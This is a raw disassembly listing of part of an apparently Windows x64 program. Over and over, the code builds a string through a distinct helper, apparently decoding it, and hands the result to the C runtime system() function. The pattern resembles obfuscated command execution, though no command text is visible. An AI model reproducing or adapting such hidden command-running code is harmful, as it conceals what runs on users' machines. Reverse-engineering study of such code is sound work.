call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x1d20]
lea rcx, [rsp + 0x30]
call fcn.140060aa0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x12b0]
lea rcx, [rsp + 0x30]
call fcn.140060b80
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x19b0]
lea rcx, [rsp + 0x30]
call fcn.140060c50
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x49f0]
lea rcx, [rsp + 0x30]
call fcn.140060d10
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x1b0]
lea rcx, [rsp + 0x30]
call fcn.140060e50
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x9a50]
lea rcx, [rsp + 0x30]
call fcn.140060eb0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [0x14011fd8c]
lea rcx, [rbp + 0xee50]
call fcn.14004ec00
nop
lea rdx, [0x14011fd70]
lea rcx, [rbp + 0xee10]
call fcn.14004ec00
nop
lea rdx, [0x14011fd44]
lea rcx, [rbp + 0xee70]
call fcn.14004ec00
nop
lea rdx, [0x14011fd48]
lea rcx, [rbp + 0xeeb0]
call fcn.14004ec00
nop
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x510]
lea rcx, [rsp + 0x30]
call fcn.140061000
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea r8, [rbp + 0xee10]
lea rdx, [rbp + 0xee50]
lea rcx, [rbp + 0x100]
call fcn.14004f450
nop
lea r8, [rbp + 0xee70]
mov rdx, rax
lea rcx, [rbp + 0xd0]
call fcn.14004f3f0
nop
lea r8, [rbp + 0xeeb0]
mov rdx, rax
lea rcx, [rbp + 0x70]
call fcn.14004f3f0
nop
lea r8, [rbp + 0xee10]
mov rdx, rax
lea rcx, [rbp + 0xa0]
call fcn.14004f3f0
nop
lea r8, [0x14011f9b4]
mov rdx, rax
lea rcx, [rsp + 0x38]
call fcn.14004f4b0
nop
lea r8, [rbp + 0xef50]
mov rdx, rax
lea rcx, [rbp + 0x50]
call fcn.14004f3f0
nop
lea r8, [rbp + 0xeef0]
mov rdx, rax
lea rcx, [rbp + 0xeed0]
call fcn.14004f3f0
nop
lea rcx, [rbp + 0x50]
call fcn.14004ebf0
nop
lea rcx, [rsp + 0x38]
call fcn.14004ebf0
nop
lea rcx, [rbp + 0xa0]
call fcn.14004ebf0
nop
lea rcx, [rbp + 0x70]
call fcn.14004ebf0
nop
lea rcx, [rbp + 0xd0]
call fcn.14004ebf0
nop
lea rcx, [rbp + 0x100]
call fcn.14004ebf0
lea rcx, [rbp + 0xeed0]
call fcn.14004ebe0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x2b0]
lea rcx, [rsp + 0x30]
call fcn.140061080
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x3d0]
lea rcx, [rsp + 0x30]
call fcn.1400610f0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x1e0]
lea rcx, [rsp + 0x30]
call fcn.140061160
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x210]
lea rcx, [rsp + 0x30]
call fcn.1400611c0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x390]
lea rcx, [rsp + 0x30]
call fcn.140061220
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xbb0]
lea rcx, [rsp + 0x30]
call fcn.140061290
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xc70]
lea rcx, [rsp + 0x30]
call fcn.140061340
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x820]
lea rcx, [rsp + 0x30]
call fcn.140061400
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xe20]
lea rcx, [rsp + 0x30]
call fcn.1400614a0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x3b90]
lea rcx, [rsp + 0x30]
call fcn.140061550
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x4000]
lea rcx, [rsp + 0x30]
call fcn.140061680
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x44f0]
lea rcx, [rsp + 0x30]
call fcn.140061790
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x880]
lea rcx, [rsp + 0x30]
call fcn.1400618c0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x2da0]
lea rcx, [rsp + 0x30]
call fcn.140061960
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x36a0]
lea rcx, [rsp + 0x30]
call fcn.140061a60
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x41d0]
lea rcx, [rsp + 0x30]
call fcn.140061b70
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x180]
lea rcx, [rsp + 0x30]
call fcn.1400611c0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x2260]
lea rcx, [rsp + 0x30]
call fcn.140061c90
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x410]
lea rcx, [rsp + 0x30]
call fcn.140061220
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xb50]
lea rcx, [rsp + 0x30]
call fcn.140061d60
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xa70]
lea rcx, [rsp + 0x30]
call fcn.140061e10
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x8e0]
lea rcx, [rsp + 0x30]
call fcn.140061ed0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x9a0]
lea rcx, [rsp + 0x30]
call fcn.140061f70
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x8be0]
lea rcx, [rsp + 0x30]
call fcn.140062030
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x4590]
lea rcx, [rsp + 0x30]
call fcn.140062190
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x4630]
lea rcx, [rsp + 0x30]
call fcn.1400622b0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x1a20]
lea rcx, [rsp + 0x30]
call fcn.1400623d0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x590]
lea rcx, [rsp + 0x30]
call fcn.1400624b0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x7d30]
lea rcx, [rsp + 0x30]
call fcn.140062530
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x7c70]
lea rcx, [rsp + 0x30]
call fcn.1400626a0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x1320]
lea rcx, [rsp + 0x30]
call fcn.140062810
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x2c10]
lea rcx, [rsp + 0x30]
call fcn.1400628e0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x21f0]
lea rcx, [rsp + 0x30]
call fcn.1400629d0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x2b90]
lea rcx, [rsp + 0x30]
call fcn.140062aa0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x940]
lea rcx, [rsp + 0x30]
call fcn.140062b80
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x278]
lea rcx, [rsp + 0x30]
call fcn.140062c20
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x240]
lea rcx, [rsp + 0x30]
call fcn.140062c90
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x2b10]
lea rcx, [rsp + 0x30]
call fcn.140062aa0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x8b30]
lea rcx, [rsp + 0x30]
call fcn.14005e9f0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x8330]
lea rcx, [rsp + 0x30]
call fcn.140062d00
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x8270]
lea rcx, [rsp + 0x30]
call fcn.140062e70
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xea40]
lea rcx, [rsp + 0x30]
call fcn.140062fe0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x7720]
lea rcx, [rsp + 0x30]
call fcn.1400631a0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x7a30]
lea rcx, [rsp + 0x30]
call fcn.140063340
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x81b0]
lea rcx, [rsp + 0x30]
call fcn.1400634d0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x80f0]
lea rcx, [rsp + 0x30]
call fcn.140063640
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x1fa0]
lea rcx, [rsp + 0x30]
call fcn.1400637b0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x2420]
lea rcx, [rsp + 0x30]
call fcn.140063890
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x24a0]
lea rcx, [rsp + 0x30]
call fcn.140063970
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x8a80]
lea rcx, [rsp + 0x30]
call fcn.140063a50
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xe6e0]
lea rcx, [rsp + 0x30]
call fcn.140063bb0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x77f0]
lea rcx, [rsp + 0x30]
call fcn.140063d60
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x7650]
lea rcx, [rsp + 0x30]
call fcn.140063ef0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x7580]
lea rcx, [rsp + 0x30]
call fcn.1400640a0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x74b0]
lea rcx, [rsp + 0x30]
call fcn.140064250
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x73e0]
lea rcx, [rsp + 0x30]
call fcn.140064400
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x7310]
lea rcx, [rsp + 0x30]
call fcn.1400645b0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x7240]
lea rcx, [rsp + 0x30]
call fcn.140064760
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x7170]
lea rcx, [rsp + 0x30]
call fcn.140064910
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x70a0]
lea rcx, [rsp + 0x30]
call fcn.140064ac0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x6fd0]
lea rcx, [rsp + 0x30]
call fcn.140064c70
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x6e50]
lea rcx, [rsp + 0x30]
call fcn.140064e20
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x6d80]
lea rcx, [rsp + 0x30]
call fcn.140064fd0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x6cb0]
lea rcx, [rsp + 0x30]
call fcn.140065180
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x6be0]
lea rcx, [rsp + 0x30]
call fcn.140065330
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x6b10]
lea rcx, [rsp + 0x30]
call fcn.1400654e0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x6a40]
lea rcx, [rsp + 0x30]
call fcn.140065690
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x6970]
lea rcx, [rsp + 0x30]
call fcn.140064400
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x68a0]
lea rcx, [rsp + 0x30]
call fcn.1400645b0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x67d0]
lea rcx, [rsp + 0x30]
call fcn.140064760
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x6700]
lea rcx, [rsp + 0x30]
call fcn.140064910
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x6630]
lea rcx, [rsp + 0x30]
call fcn.140064ac0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x6560]
lea rcx, [rsp + 0x30]
call fcn.140064c70
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x6490]
lea rcx, [rsp + 0x30]
call fcn.140064e20
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x63c0]
lea rcx, [rsp + 0x30]
call fcn.140064fd0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x62f0]
lea rcx, [rsp + 0x30]
call fcn.140065180
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x6220]
lea rcx, [rsp + 0x30]
call fcn.140065330
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x6150]
lea rcx, [rsp + 0x30]
call fcn.1400654e0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x6080]
lea rcx, [rsp + 0x30]
call fcn.140065690
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x9b00]
lea rcx, [rsp + 0x30]
call fcn.140065840
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x9bb0]
lea rcx, [rsp + 0x30]
call fcn.140065990
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x9c60]
lea rcx, [rsp + 0x30]
call fcn.140065ae0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x9d10]
lea rcx, [rsp + 0x30]
call fcn.140065c30
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x9dc0]
lea rcx, [rsp + 0x30]
call fcn.140065d80
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x9e70]
lea rcx, [rsp + 0x30]
call fcn.140065ed0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x9f20]
lea rcx, [rsp + 0x30]
call fcn.140066020
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0x9fd0]
lea rcx, [rsp + 0x30]
call fcn.140066170
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xa080]
lea rcx, [rsp + 0x30]
call fcn.1400662c0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xa130]
lea rcx, [rsp + 0x30]
call fcn.140066410
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xa1e0]
lea rcx, [rsp + 0x30]
call fcn.140066560
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xa290]
lea rcx, [rsp + 0x30]
call fcn.1400666b0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xa340]
lea rcx, [rsp + 0x30]
call fcn.140066800
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xa3f0]
lea rcx, [rsp + 0x30]
call fcn.140066950
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xa4a0]
lea rcx, [rsp + 0x30]
call fcn.140066aa0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xa550]
lea rcx, [rsp + 0x30]
call fcn.140065c30
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xa600]
lea rcx, [rsp + 0x30]
call fcn.140065d80
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xa6b0]
lea rcx, [rsp + 0x30]
call fcn.140065ed0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xa760]
lea rcx, [rsp + 0x30]
call fcn.140066020
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xa810]
lea rcx, [rsp + 0x30]
call fcn.140066170
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xa8c0]
lea rcx, [rsp + 0x30]
call fcn.1400662c0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xa970]
lea rcx, [rsp + 0x30]
call fcn.140066410
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xaa20]
lea rcx, [rsp + 0x30]
call fcn.140066560
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rbp + 0xaad0]
lea rcx, [rsp + 0x30]
call fcn.1400666b0
mov rcx, rax
call fcn.14004de60
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
